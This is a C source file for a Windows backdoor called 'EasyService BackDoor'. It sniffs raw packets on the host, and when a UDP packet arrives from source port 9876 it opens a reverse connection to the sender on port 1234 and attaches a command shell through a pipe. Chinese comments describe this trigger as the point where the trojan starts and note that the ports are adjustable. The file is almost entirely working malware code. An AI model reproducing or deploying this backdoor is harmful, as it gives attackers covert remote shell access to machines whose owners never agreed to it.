#include "headerf.h" //---------------------------------------------------------------------------
//----------------------------- char rcvbuf[65535]; SOCKADDR_IN siSource; extern SOCKET ReSock; char SourceIPAddr[16]; unsigned short SourcePort; bool CanCon=true; char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++\r\n" "+EasyService BackDoor\r\n" "+Coder By weibo(wbwap@sina.com)\r\n" "+Site http://www.s8s8.net\r\n" "++++++++++++++++++++++++++++++++++++\r\n"; //----------------------------- void DecodeIpPack(char *buf,int irec); void DecodeUdpPack(char *buf,unsigned int buflen); int msGetip(char *ipin, char* ipout); void StartBackDoor(SOCKET *Sock,char *IPaddr); //------------------------------ int StartSniffer() { SOCKET SniffSock; struct sockaddr_in addr; unsigned char LocalName[256]; struct hostent * hp; int ntime=1000; int rec; DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; char in[20]="",out[20]=""; StartWSA(); SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP); setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime)); addr.sin_family = AF_INET; addr.sin_port = INADDR_ANY; msGetip(in,out); addr.sin_addr.S_un.S_addr = inet_addr(out); bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr)); WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL); while(1) { memset(rcvbuf,0,sizeof(rcvbuf)); rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0); DecodeIpPack(rcvbuf,rec);
} } //--------------------------------------------------------------------------- void DecodeIpPack(char *buf,int irec) { int iproto; int iIphlen; IP_HEADER *pIPheader; pIPheader = (IP_HEADER *)buf; iproto=pIPheader->proto; iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf);
if (iproto == IPPROTO_UDP) { siSource.sin_addr.s_addr = pIPheader->sourceIP; strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16); //printf("包类型:%s\n源IP:%s ","UDP",SourceIPAddr); DecodeUdpPack(buf+iIphlen,irec); }
}
void DecodeUdpPack(char *buf,unsigned int buflen) { char str[10]; UDP_HEADER *pUdpheader; pUdpheader=(UDP_HEADER *)buf; siSource.sin_port = pUdpheader->uh_sport; SourcePort=ntohs(siSource.sin_port);
//这个地方就是判断是否启动进程的地方!!!!!!!!!!!!!!!!!!! //这里是 如果塬端口为9876 才会起动木马进程。。连接你的1234断口 这些都可以改 //最好的方法是Decode UDP包。。然后分析内容。。。作判断是否打开木马。。。。 //没时间了。。。。
if(CanCon) { if(SourcePort == 9876) { StartBackDoor(&ReSock,SourceIPAddr); } CanCon=false; } }
int msGetip(char *ipin, char* ipout) { char cHostName[80]=""; if((gethostname(cHostName, 80)) == SOCKET_ERROR) return false; struct hostent *Host = gethostbyname(cHostName); if(NULL!=Host){ struct in_addr addr; int i = 0; while(Host->h_addr_list[i] != NULL){ memcpy(&addr, Host->h_addr_list[i], sizeof(addr)); if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){ if(strlen(ipin) == 0){ strcpy(ipin, inet_ntoa(addr)); } }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){ if(strlen(ipin) == 0){ strcpy(ipin, inet_ntoa(addr)); } }else if(addr.S_un.S_un_b.s_b1 == 10 ){ if(strlen(ipin) == 0){ strcpy(ipin, inet_ntoa(addr)); } }else{ if(strlen(ipout) == 0){ strcpy(ipout, inet_ntoa(addr)); } } i++; } if(strlen(ipout) == 0) { strcpy(ipout, ipin); } if(strlen(ipin) == 0){ strcpy(ipin, ipout); } return 1; } return 0; }
void StartBackDoor(SOCKET *Sock,char *IPaddr) { int rec; //StartWSA(); SetSocketHandle(Sock); rec = ContoReServer(Sock,1234,IPaddr); returnMessage(Sock,WelcomeBuff); CreatePipeInSock(); switch(rec) { case 0: closesocket(ReSock); CanCon = true; break; case 1: CanCon = false; break; } }
|